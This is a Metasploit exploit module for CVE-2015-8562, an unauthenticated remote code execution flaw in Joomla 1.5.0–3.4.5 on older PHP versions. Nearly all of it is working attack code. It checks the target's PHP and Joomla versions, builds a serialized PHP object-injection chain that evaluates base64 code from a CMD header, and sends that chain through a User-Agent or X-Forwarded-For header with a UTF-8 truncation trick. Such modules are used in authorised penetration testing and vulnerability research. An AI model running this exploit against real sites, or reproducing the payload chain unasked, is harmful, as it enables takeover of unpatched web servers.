## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution', 'Description' => %q{ Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the exploit will not work. }, 'Author' => [ 'Marc-Alexandre Montpas', # discovery 'Christian Mehlmauer' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-8562'], ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'], ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'], ['URL', 'https://bugs.php.net/bug.php?id=70219'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Joomla', {}]], 'DisclosureDate' => 'Dec 14 2015', 'DefaultTarget' => 0) ) register_options( [ OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]), OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]]) ], self.class) end def check res = send_request_cgi({'uri' => target_uri.path }) unless res vprint_error("Connection timed out") return Exploit::CheckCode::Unknown end unless res.headers['X-Powered-By'] vprint_error("Unable to determine the PHP version.") return Exploit::CheckCode::Unknown end php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' vprint_status("Found PHP version: #{php_version}") version = Gem::Version.new(php_version) vulnerable = false vulnerable = true if version <= Gem::Version.new('5.4.44') vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) unless vulnerable vprint_error('This module currently does not work against this PHP version') return Exploit::CheckCode::Safe end res.get_html_meta_elements.each do |element| if element.attributes['name'] && /^generator$/i === element.attributes['name'] && element.attributes['content'] && /joomla/i === element.attributes['content'].value return Exploit::CheckCode::Detected end end res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'plugins', 'system', 'cache', 'cache.xml') }) return Exploit::CheckCode::Detected if res && res.code == 200 && res.body && res.body.include?('Joomla! Project') Exploit::CheckCode::Unknown end def get_payload pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' pay = "eval(base64_decode($_SERVER['HTTP_CMD']));JFactory::getConfig();exit;" middle2 = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' post = "\xF0\x9D\x8C\x86" return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def exploit if check == Exploit::CheckCode::Safe print_error('Target seems safe, so we will not continue.') return end print_status("Sending payload ...") res = send_request_cgi({ 'method' => 'GET', 'uri' => target_uri.path, 'headers' => { datastore['HEADER'] => get_payload } }) session_cookie = res.get_cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => target_uri.path, 'cookie' => session_cookie, 'headers' => { 'CMD' => Rex::Text.encode_base64(payload.encoded) } }) end end